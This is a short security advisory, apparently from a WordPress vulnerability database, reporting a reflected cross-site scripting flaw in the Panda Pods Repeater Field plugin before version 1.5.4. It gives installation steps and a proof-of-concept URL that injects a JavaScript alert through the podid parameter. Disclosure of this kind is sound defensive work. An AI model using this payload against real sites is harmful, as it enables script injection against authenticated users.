WordPress Plugin Vulnerabilities

Panda Pods Repeater Field < 1.5.4 - Reflected XSS

Description

The plugin does not sanitize and escapes a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against a user having at least Contributor permission.

Proof of Concept

1. Install Pods plugin (dependency) - https://wordpress.org/plugins/pods

2. Install the vulnerable plugin (panda-pods-repeater-field) - https://wordpress.org/plugins/panda-pods-repeater-field (v1.5.3)

3. As an authenticated user, visit the following URL to trigger an alert box:

http://example.com/wp-content/plugins/panda-pods-repeater-field/fields/pandarepeaterfield.php?itemid=1&podid=1);%20alert(/xss/);/*x&iframe_id=panda-repeater-add-new&success=1
